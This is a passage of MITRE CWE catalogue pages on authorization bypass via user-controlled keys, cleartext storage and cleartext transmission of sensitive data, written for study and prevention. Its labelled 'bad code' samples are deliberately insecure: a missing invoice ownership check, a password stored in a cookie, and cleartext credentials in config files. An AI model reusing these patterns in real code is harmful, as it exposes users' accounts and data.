Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

(bad code)
Example Language: C# 
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.


+ Observed Examples
Reference Description
An educational application does not appropriately restrict file IDs to a particular user. The attacker can brute-force guess IDs, indicating IDOR.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 715 OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 723 OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 813 OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 932 OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 945 SFP Secondary Cluster: Insecure Resource Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1031 OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny Lebanidze Cigital
+ Modifications
Modification Date Modifier Organization
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Relationships, Type
2008-10-14 CWE Content Team MITRE
updated Description
2009-03-10 CWE Content Team MITRE
updated Relationships
2009-05-27 CWE Content Team MITRE
updated Relationships
2009-10-29 CWE Content Team MITRE
updated Common_Consequences
2010-06-21 CWE Content Team MITRE
updated Relationships
2011-03-29 CWE Content Team MITRE
updated Alternate_Terms, Applicable_Platforms, Description, Name, Potential_Mitigations, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships
2012-05-11 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Alternate_Terms, Common_Consequences
2013-07-17 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships
2018-03-27 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Alternate_Terms
2020-12-10 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Alternate_Terms
2021-10-28 CWE Content Team MITRE
updated Relationships
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content Team MITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change Date Previous Entry Name
2011-03-29 Access Control Bypass Through User-Controlled Key

CWE-312: Cleartext Storage of Sensitive Information

Weakness ID: 312
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.
+ Extended Description

Because the information is stored in cleartext (i.e., unencrypted), attackers could potentially read it. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

When organizations adopt cloud services, it can be easier for attackers to access the data from anywhere on the Internet.

In some systems/environments such as cloud, the use of "double encryption" (at both the software and hardware layer) might be required, and the developer might be solely responsible for both layers, instead of shared responsibility with the administrator of the broader system/environment.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality

Technical Impact: Read Application Data

An attacker with access to the system could read sensitive information stored in cleartext.
+ Potential Mitigations

Phases: Implementation; System Configuration; Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to encrypt the data at rest. [REF-1297] [REF-1299] [REF-1301]
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 922 Insecure Storage of Sensitive Information
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 313 Cleartext Storage in a File or on Disk
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 314 Cleartext Storage in the Registry
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 315 Cleartext Storage of Sensitive Information in a Cookie
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 316 Cleartext Storage of Sensitive Information in Memory
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 317 Cleartext Storage of Sensitive Information in GUI
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 318 Cleartext Storage of Sensitive Information in Executable
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 526 Cleartext Storage of Sensitive Information in an Environment Variable
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 199 Information Management Errors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Cloud Computing (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

Class: Mobile (Undetermined Prevalence)

+ Demonstrative Examples

Example 1

The following code excerpt stores a plaintext user account ID in a browser cookie.

(bad code)
Example Language: Java 
response.addCookie( new Cookie("userAccountID", acctID);

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.


Example 2

This code writes a user's login information to a cookie so the user does not have to login again later.

(bad code)
Example Language: PHP 
function persistLogin($username, $password){
$data = array("username" => $username, "password"=> $password);
setcookie ("userdata", $data);
}

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).


Example 3

The following code attempts to establish a connection, read in a password, then store it to a buffer.

(bad code)
Example Language:
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {

write(dfd,password_buffer,n);
...

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.


Example 4

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.


Example 5

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

At least one OT product stored a password in plaintext.


Example 6

In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.

(bad code)
Example Language: Other 
A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]

While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered.

(good code)
Example Language: Other 
The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]

Example 7

Consider the following PowerShell command examples for encryption scopes of Azure storage objects. In the first example, an encryption scope is set for the storage account.

(bad code)
Example Language: Shell 
New-AzStorageEncryptionScope -ResourceGroupName "MyResourceGroup" -AccountName "MyStorageAccount" -EncryptionScopeName testscope -StorageEncryption

The result (edited and formatted for readability) might be:

(bad code)
Example Language: Other 
ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount

Name State Source RequireInfrastructureEncryption
testscope Enabled Microsoft.Storage

However, the empty string under RequireInfrastructureEncryption indicates this service was not enabled at the time of creation, because the -RequireInfrastructureEncryption argument was not specified in the command.

Including the -RequireInfrastructureEncryption argument addresses the issue:

(good code)
Example Language: Shell 
New-AzStorageEncryptionScope -ResourceGroupName "MyResourceGroup" -AccountName "MyStorageAccount" -EncryptionScopeName testscope -StorageEncryption -RequireInfrastructureEncryption

This produces the report:

(result)
Example Language: Other 
ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount

Name State Source RequireInfrastructureEncryption
testscope Enabled Microsoft.Keyvault True

In a scenario where both software and hardware layer encryption is required ("double encryption"), Azure's infrastructure encryption setting can be enabled via the CLI or Portal. An important note is that infrastructure hardware encryption cannot be enabled or disabled after a blob is created. Furthermore, the default value for infrastructure encryption is disabled in blob creations.


+ Observed Examples
Reference Description
Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext.
password and username stored in cleartext in a cookie
password stored in cleartext in a file with insecure permissions
chat program disables SSL in some circumstances even when the user says to use SSL.
Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
storage of unencrypted passwords in a database
storage of unencrypted passwords in a database
product stores a password in cleartext in memory
storage of a secret key in cleartext in a temporary file
SCADA product uses HTTP Basic Authentication, which is not encrypted
login credentials stored unencrypted in a registry key
Plaintext credentials in world-readable file.
Password in cleartext in config file.
Password in cleartext in config file.
Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.
Plaintext storage of private key and passphrase in log file when user imports the key.
Admin password in plaintext in a cookie.
Default configuration has cleartext usernames/passwords in cookie.
Usernames/passwords in cleartext in cookies.
Authentication information stored in cleartext in a cookie.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 816 OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 934 OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1029 OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Plaintext Storage of Sensitive Information
Software Fault Patterns SFP23 Exposed Data
ISA/IEC 62443 Part 4-2 Req CR 4.1 a)
ISA/IEC 62443 Part 3-3 Req SR 4.1
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Encryption", Page 43. 1st Edition. Addison Wesley. 2006.
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. URL validated: 2023-04-07.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
[REF-1295] WizCase. "Over 80 US Municipalities' Sensitive Information, Including Resident's Personal Data, Left Vulnerable in Massive Data Breach". 2021-07-20. <https://www.wizcase.com/blog/us-municipality-breach-report/>.
[REF-1296] Jonathan Greig. "1,000 GB of local government data exposed by Massachusetts software company". 2021-07-22. <https://www.zdnet.com/article/1000-gb-of-local-government-data-exposed-by-massachusetts-software-company/>.
[REF-1297] Amazon. "AWS Foundational Security Best Practices controls". 2022. <https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-controls-reference.html>. URL validated: 2023-04-07.
[REF-1299] Microsoft. "Azure encryption overview". 2022-08-18. <https://learn.microsoft.com/en-us/azure/security/fundamentals/encryption-overview>. URL validated: 2022-10-11.
[REF-1301] Google Cloud. "Default encryption at rest". 2022-10-11. <https://cloud.google.com/docs/security/encryption/default-encryption>. URL validated: 2022-10-11.
[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Section 3.2. 2022-08-16. <https://www.cisecurity.org/benchmark/azure>. URL validated: 2023-01-19.
[REF-1310] Microsoft. "Enable infrastructure encryption for double encryption of data". 2022-07-14. <https://learn.microsoft.com/en-us/azure/storage/common/infrastructure-encryption-enable>. URL validated: 2023-01-24.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution Date Contributor Organization
2023-04-25 "Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2009-01-12 CWE Content Team MITRE
updated Description, Name
2010-02-16 CWE Content Team MITRE
updated References
2010-06-21 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2013-02-21 CWE Content Team MITRE
updated Applicable_Platforms, References
2013-07-17 CWE Content Team MITRE
updated Description, Relationships, Terminology_Notes
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, References, Relationships
2018-01-23 CWE Content Team MITRE
updated Abstraction, Relationships
2018-03-27 CWE Content Team MITRE
updated References, Relationships, Type
2019-06-20 CWE Content Team MITRE
updated Relationships, Type
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, References, Relationships
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships, Taxonomy_Mappings
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content Team MITRE
updated Taxonomy_Mappings
+ Previous Entry Names
Change Date Previous Entry Name
2009-01-12 Plaintext Storage of Sensitive Information

CWE-319: Cleartext Transmission of Sensitive Information

Weakness ID: 319
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.
+ Extended Description

Many communication channels can be "sniffed" (monitored) by adversaries during data transmission. For example, in networking, packets can traverse many intermediary nodes from the source to the destination, whether across the internet, an internal network, the cloud, etc. Some actors might have privileged access to a network interface or any link along the channel, such as a router, but they might not be authorized to collect the underlying data. As a result, network traffic could be sniffed by adversaries, spilling security-critical data.

Applicable communication channels are not limited to software products. Applicable channels include hardware-specific technologies such as internal hardware networks and external debug channels, supporting remote JTAG debugging. When mitigations are not applied to combat adversaries within the product's threat model, this weakness significantly lowers the difficulty of exploitation by such adversaries.

When full communications are recorded or logged, such as with a packet dump, an adversary could attempt to obtain the dump long after the transmission has occurred and try to "sniff" the cleartext from the recorded communications in the dump itself. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Integrity
Confidentiality

Technical Impact: Read Application Data; Modify Files or Directories

Anyone can read the information by gaining access to the channel being used for communication.
+ Potential Mitigations

Phase: Architecture and Design

Before transmitting, encrypt the data using reliable, confidentiality-protecting cryptographic protocols.

Phase: Implementation

When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

Phase: Implementation

When designing hardware platforms, ensure that approved encryption algorithms (such as those recommended by NIST) protect paths from security critical data to trusted user applications.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Phase: Operation

Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 5 J2EE Misconfiguration: Data Transmission Without Encryption
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 199 Information Management Errors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
